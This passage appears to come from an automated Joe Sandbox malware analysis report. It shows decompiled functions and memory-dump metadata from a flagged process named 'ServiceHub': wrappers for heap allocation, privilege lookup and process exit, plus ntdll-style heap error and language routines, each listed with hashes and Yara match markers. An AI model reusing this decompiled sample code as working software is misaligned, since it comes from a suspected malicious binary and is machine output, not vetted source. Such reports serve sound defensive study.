                                          • Executed
                                          • Not Executed
                                          control_flow_graph 203 421493-4214c4 call 421e33 RtlAllocateHeap
                                          C-Code - Quality: 100%
                                          			E00421493(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;

				E00421E33( *((intOrPtr*)(_a4 + 8)), _a4, _t7 + 0xaa0,  *((intOrPtr*)(_a4 + 8)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}




                                          0x004214aa
                                          0x004214c0
                                          0x004214c4

                                          APIs
                                          • RtlAllocateHeap.NTDLL(0041BEB9,?,0041C650,0041C650,?,0041BEB9,?,?,?,?,?,00000000,00000005,00000206), ref: 004214C0
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: AllocateHeap
                                          • String ID:
                                          • API String ID: 1279760036-0
                                          • Opcode ID: e099a0e0b9abc6f4cbc2d2367fafb038353af6a60bf447da73beb63a4322009b
                                          • Instruction ID: f3c6c349b15b615d8d82bd081406a85a07509beb900ec520b345c47a16a2d0a3
                                          • Opcode Fuzzy Hash: e099a0e0b9abc6f4cbc2d2367fafb038353af6a60bf447da73beb63a4322009b
                                          • Instruction Fuzzy Hash: 72E012B5200218ABCB14EF89DC45EA777ACAF88754F418459BE095B292C630F910CAB1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 00421633 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 209 421633-421667 call 421e33 LookupPrivilegeValueW
                                          C-Code - Quality: 100%
                                          			E00421633(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;

				E00421E33( *((intOrPtr*)(_a4 + 0x500)), _a4, _t7 + 0xabc,  *((intOrPtr*)(_a4 + 0x500)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}




                                          0x0042164d
                                          0x00421663
                                          0x00421667

                                          APIs
                                          • LookupPrivilegeValueW.ADVAPI32(00000000,?,00413119,00413119,?,00000000,?,0040A041), ref: 00421663
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: LookupPrivilegeValue
                                          • String ID:
                                          • API String ID: 3899507212-0
                                          • Opcode ID: 9ce6ee9cf2818c8242eaf7409871b85b851ac1f9e9fbb7ee65a994b1fbe82246
                                          • Instruction ID: 11fe3a616bce73141c7158e60b006c657976bbc2bb3856c16bb577cc5807af25
                                          • Opcode Fuzzy Hash: 9ce6ee9cf2818c8242eaf7409871b85b851ac1f9e9fbb7ee65a994b1fbe82246
                                          • Instruction Fuzzy Hash: 64E01AB56002146BC710DF49DC45FA777ADAF88754F018459BE0C57242D630E8108AB5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 00421513 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 289 421513-42153f call 421e33 ExitProcess
                                          C-Code - Quality: 100%
                                          			E00421513(intOrPtr _a4, int _a8) {

				_t5 = _a4;
				_t2 = _t5 + 0x550; // 0xcfd445c7
				_t3 = _t5 + 0xaac; // 0x405833
				E00421E33( *_t2, _a4, _t3,  *_t2, 0, 0x36);
				ExitProcess(_a8);
			}



                                          0x00421516
                                          0x00421519
                                          0x00421525
                                          0x0042152d
                                          0x0042153b

                                          APIs
                                          • ExitProcess.KERNEL32(?,?,56703DC3,?,00404D87,56703DC3), ref: 0042153B
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: ExitProcess
                                          • String ID:
                                          • API String ID: 621844428-0
                                          • Opcode ID: 53f060af505be8780c6532b93d74ca873b528d11cb4452cb806d77a72e6cf217
                                          • Instruction ID: ab62d9e0b68d2e5df5bf1dd70b0387ab85bc85e8d427537997bd2207fe046865
                                          • Opcode Fuzzy Hash: 53f060af505be8780c6532b93d74ca873b528d11cb4452cb806d77a72e6cf217
                                          • Instruction Fuzzy Hash: 88D012727002147BD620DB99DC45FE777ACDF45760F458465BA4C5B281D570BA00C6E1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E967A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 305a1ac5f941431a6167aee8faaba61e83aad6bbc39fc4c8c773d7c6139bb6a5
                                          • Instruction ID: 5322f624722a6611bf71016eac0f86847884942a38472e42f17a54dfdad60f87
                                          • Opcode Fuzzy Hash: 305a1ac5f941431a6167aee8faaba61e83aad6bbc39fc4c8c773d7c6139bb6a5
                                          • Instruction Fuzzy Hash: D5B09BB19014C5C5DA15D7E4570C727794077D4745F17C056D2020641B4778C0D1F5B5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Non-executed Functions

                                          Function 0125B260 Relevance: 37.8, Strings: 30, Instructions: 262COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Strings
                                          • write to, xrefs: 0125B4A6
                                          • If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 0125B314
                                          • *** enter .cxr %p for the context, xrefs: 0125B50D
                                          • This means that the I/O device reported an I/O error. Check your hardware., xrefs: 0125B476
                                          • <unknown>, xrefs: 0125B27E, 0125B2D1, 0125B350, 0125B399, 0125B417, 0125B48E
                                          • an invalid address, %p, xrefs: 0125B4CF
                                          • The resource is owned exclusively by thread %p, xrefs: 0125B374
                                          • This failed because of error %Ix., xrefs: 0125B446
                                          • This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 0125B47D
                                          • The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0125B38F
                                          • *** Inpage error in %ws:%s, xrefs: 0125B418
                                          • read from, xrefs: 0125B4AD, 0125B4B2
                                          • The critical section is owned by thread %p., xrefs: 0125B3B9
                                          • *** Critical Section Timeout (%p) in %ws:%s, xrefs: 0125B39B
                                          • The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0125B3D6
                                          • *** Resource timeout (%p) in %ws:%s, xrefs: 0125B352
                                          • Go determine why that thread has not released the critical section., xrefs: 0125B3C5
                                          • This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 0125B484
                                          • *** then kb to get the faulting stack, xrefs: 0125B51C
                                          • The resource is owned shared by %d threads, xrefs: 0125B37E
                                          • The instruction at %p tried to %s , xrefs: 0125B4B6
                                          • The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 0125B323
                                          • *** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 0125B53F
                                          • *** An Access Violation occurred in %ws:%s, xrefs: 0125B48F
                                          • *** enter .exr %p for the exception record, xrefs: 0125B4F1
                                          • This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 0125B305
                                          • *** A stack buffer overrun occurred in %ws:%s, xrefs: 0125B2F3
                                          • a NULL pointer, xrefs: 0125B4E0
                                          • *** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0125B2DC
                                          • The instruction at %p referenced memory at %p., xrefs: 0125B432
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
                                          • API String ID: 0-108210295
                                          • Opcode ID: 287a2009250355edfb46effeb3f74b7fd4ab17734e97b7cf7d2058c90f6715fd
                                          • Instruction ID: 6797cc64f9bce4c60b3462e09516d2b6099fe568d0b4a86ebbea43dd7b6ab959
                                          • Opcode Fuzzy Hash: 287a2009250355edfb46effeb3f74b7fd4ab17734e97b7cf7d2058c90f6715fd
                                          • Instruction Fuzzy Hash: 3A8107B5A70211FFDF2A5B4ADC86E7B3F26EF96A51F404048FA082B112D3B18511C7B2
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01261C06 Relevance: 31.4, Strings: 25, Instructions: 195COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 44%
                                          			E01261C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x11848a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E011AB150();
				} else {
					E011AB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x129589c);
				E011AB150("Heap error detected at %p (heap handle %p)\n",  *0x12958a0);
				_t27 =  *0x1295898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M01261E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E011AB150();
				} else {
					E011AB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E011AB150("Error code: %d - %s\n",  *0x1295898);
				_t113 =  *0x12958a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E011AB150();
					} else {
						E011AB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E011AB150("Parameter1: %p\n",  *0x12958a4);
				}
				_t115 =  *0x12958a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E011AB150();
					} else {
						E011AB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E011AB150("Parameter2: %p\n",  *0x12958a8);
				}
				_t117 =  *0x12958ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E011AB150();
					} else {
						E011AB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E011AB150("Parameter3: %p\n",  *0x12958ac);
				}
				_t119 =  *0x12958b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E011AB150();
					} else {
						E011AB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x12958b4);
					E011AB150("Last known valid blocks: before - %p, after - %p\n",  *0x12958b0);
				} else {
					_t120 =  *0x12958b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E011AB150();
				} else {
					E011AB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E011AB150("Stack trace available at %p\n", 0x12958c0);
			}











                                          0x01261c10
                                          0x01261c16
                                          0x01261c1e
                                          0x01261c3d
                                          0x01261c3e
                                          0x01261c20
                                          0x01261c35
                                          0x01261c3a
                                          0x01261c44
                                          0x01261c55
                                          0x01261c5a
                                          0x01261c65
                                          0x01261c67
                                          0x00000000
                                          0x01261c6e
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01261c67
                                          0x01261cdc
                                          0x01261ce5
                                          0x01261d04
                                          0x01261d05
                                          0x01261ce7
                                          0x01261cfc
                                          0x01261d01
                                          0x01261d0b
                                          0x01261d17
                                          0x01261d1f
                                          0x01261d25
                                          0x01261d30
                                          0x01261d4f
                                          0x01261d50
                                          0x01261d32
                                          0x01261d47
                                          0x01261d4c
                                          0x01261d61
                                          0x01261d67
                                          0x01261d68
                                          0x01261d6e
                                          0x01261d79
                                          0x01261d98
                                          0x01261d99
                                          0x01261d7b
                                          0x01261d90
                                          0x01261d95
                                          0x01261daa
                                          0x01261db0
                                          0x01261db1
                                          0x01261db7
                                          0x01261dc2
                                          0x01261de1
                                          0x01261de2
                                          0x01261dc4
                                          0x01261dd9
                                          0x01261dde
                                          0x01261df3
                                          0x01261df9
                                          0x01261dfa
                                          0x01261e00
                                          0x01261e0a
                                          0x01261e13
                                          0x01261e32
                                          0x01261e33
                                          0x01261e15
                                          0x01261e2a
                                          0x01261e2f
                                          0x01261e39
                                          0x01261e4a
                                          0x01261e02
                                          0x01261e02
                                          0x01261e08
                                          0x00000000
                                          0x00000000
                                          0x01261e08
                                          0x01261e5b
                                          0x01261e7a
                                          0x01261e7b
                                          0x01261e5d
                                          0x01261e72
                                          0x01261e77
                                          0x01261e95

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
                                          • API String ID: 0-2897834094
                                          • Opcode ID: 902f410309b273cdb54ef5773b33b26b97f4236a799f6c05440425604c5b7ec5
                                          • Instruction ID: e3fff434a945d37c57ac727f2da727ac0739b51353a57d0106e9c2aa354d4050
                                          • Opcode Fuzzy Hash: 902f410309b273cdb54ef5773b33b26b97f4236a799f6c05440425604c5b7ec5
                                          • Instruction Fuzzy Hash: 8B61E536A36181DFD719EB59E589E2477A8EB54920B4DC02EF5096B380D760B8D0CB4A
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011B3D34 Relevance: 6.7, Strings: 5, Instructions: 435COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 96%
                                          			E011B3D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E011B1B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E011B1B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E011B1B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E011B1B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E011B1B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L011C4620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E011EF3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E011F1370(_t276, 0x1184e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E011EBB40(0,  &_v68, _t170);
									if(L011B43C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E011EBB40(_t257,  &_v68, _t243);
								if(L011B43C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E011F1370(_t278, 0x1184e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L011C4620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E011EF3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E011F1370(_v16, 0x1184e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E011EBB40(_t262,  &_v68, _t244);
								if(L011B43C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E011F1370(_t282, 0x1184e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E011EBB40(_t262,  &_v68, _t201);
							if(L011B43C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L011C4620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E011EF3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E011F1370(_t280, 0x1184e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E011EBB40(_t267,  &_v68, _t245);
							if(L011B43C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E011F1370(_t284, 0x1184e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E011EBB40(_t267,  &_v68, _t224);
						if(L011B43C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}










































                                          0x011b3d3c
                                          0x011b3d42
                                          0x011b3d44
                                          0x011b3d46
                                          0x011b3d49
                                          0x011b3d4c
                                          0x011b3d4f
                                          0x011b3d52
                                          0x011b3d55
                                          0x011b3d58
                                          0x011b3d5b
                                          0x011b3d5f
                                          0x011b3d61
                                          0x011b3d66
                                          0x01208213
                                          0x01208218
                                          0x011b4085
                                          0x011b4088
                                          0x011b408e
                                          0x011b4094
                                          0x011b409a
                                          0x011b40a0
                                          0x011b40a6
                                          0x011b40a9
                                          0x011b40af
                                          0x011b40b6
                                          0x011b40bd
                                          0x011b40bd
                                          0x011b3d83
                                          0x0120821f
                                          0x01208229
                                          0x01208238
                                          0x01208238
                                          0x0120823d
                                          0x0120823d
                                          0x011b3da0
                                          0x011b3daf
                                          0x011b3db5
                                          0x011b3dba
                                          0x011b3dba
                                          0x011b3dd4
                                          0x011b3e94
                                          0x011b3eab
                                          0x011b3f6d
                                          0x011b3f84
                                          0x011b406b
                                          0x011b406b
                                          0x011b406e
                                          0x011b406e
                                          0x011b4070
                                          0x011b4074
                                          0x01208351
                                          0x01208351
                                          0x011b407a
                                          0x011b407f
                                          0x0120835d
                                          0x01208370
                                          0x01208377
                                          0x01208379
                                          0x0120837c
                                          0x0120837c
                                          0x0120835d
                                          0x00000000
                                          0x011b407f
                                          0x011b3f8a
                                          0x011b3f8d
                                          0x011b3f90
                                          0x011b3f95
                                          0x0120830d
                                          0x0120830f
                                          0x011b3f9b
                                          0x011b3fac
                                          0x011b3fae
                                          0x011b3fb1
                                          0x011b3fb1
                                          0x011b3fb6
                                          0x01208317
                                          0x0120831a
                                          0x00000000
                                          0x011b3fbc
                                          0x011b3fc1
                                          0x011b3fc9
                                          0x011b3fd7
                                          0x011b3fda
                                          0x011b3fdd
                                          0x011b4021
                                          0x011b4021
                                          0x011b4029
                                          0x011b4030
                                          0x011b4044
                                          0x011b4046
                                          0x011b4046
                                          0x011b4044
                                          0x011b4049
                                          0x01208327
                                          0x01208334
                                          0x01208339
                                          0x0120833c
                                          0x011b404f
                                          0x011b404f
                                          0x011b404f
                                          0x011b4051
                                          0x011b4056
                                          0x011b4063
                                          0x011b4063
                                          0x011b4068
                                          0x00000000
                                          0x011b4068
                                          0x011b3fdf
                                          0x011b3fe2
                                          0x011b3fe4
                                          0x011b3fe7
                                          0x011b3fef
                                          0x011b4003
                                          0x011b4005
                                          0x011b4005
                                          0x011b400c
                                          0x011b4013
                                          0x011b4016
                                          0x011b4017
                                          0x011b401b
                                          0x011b401e
                                          0x00000000
                                          0x011b401e
                                          0x011b3fb6
                                          0x011b3eb1
                                          0x011b3eb4
                                          0x011b3eb7
                                          0x011b3ebc
                                          0x012082a9
                                          0x012082ab
                                          0x011b3ec2
                                          0x011b3ed3
                                          0x011b3ed5
                                          0x011b3ed8
                                          0x011b3ed8
                                          0x011b3edd
                                          0x012082b3
                                          0x012082b6
                                          0x00000000
                                          0x011b3ee3
                                          0x011b3ee8
                                          0x011b3eed
                                          0x011b3ef0
                                          0x011b3ef3
                                          0x011b3f02
                                          0x011b3f05
                                          0x011b3f08
                                          0x012082c0
                                          0x012082c3
                                          0x012082c5
                                          0x012082c8
                                          0x012082d0
                                          0x012082e4
                                          0x012082e6
                                          0x012082e6
                                          0x012082ed
                                          0x012082f4
                                          0x012082f7
                                          0x012082f8
                                          0x012082fc
                                          0x012082ff
                                          0x012082ff
                                          0x011b3f0e
                                          0x011b3f11
                                          0x011b3f16
                                          0x011b3f1d
                                          0x011b3f31
                                          0x01208307
                                          0x01208307
                                          0x011b3f31
                                          0x011b3f39
                                          0x011b3f48
                                          0x011b3f4d
                                          0x011b3f50
                                          0x011b3f50
                                          0x011b3f53
                                          0x011b3f58
                                          0x011b3f65
                                          0x011b3f65
                                          0x011b3f6a
                                          0x00000000
                                          0x011b3f6a
                                          0x011b3edd
                                          0x011b3dda
                                          0x011b3ddd
                                          0x011b3de0
                                          0x011b3de5
                                          0x01208245
                                          0x011b3deb
                                          0x011b3df7
                                          0x011b3dfc
                                          0x011b3dfe
                                          0x011b3e01
                                          0x011b3e01
                                          0x011b3e06
                                          0x0120824d
                                          0x0120824f
                                          0x01208254
                                          0x00000000
                                          0x011b3e0c
                                          0x011b3e11
                                          0x011b3e16
                                          0x011b3e19
                                          0x011b3e29
                                          0x011b3e2c
                                          0x011b3e2f
                                          0x0120825c
                                          0x0120825f
                                          0x01208261
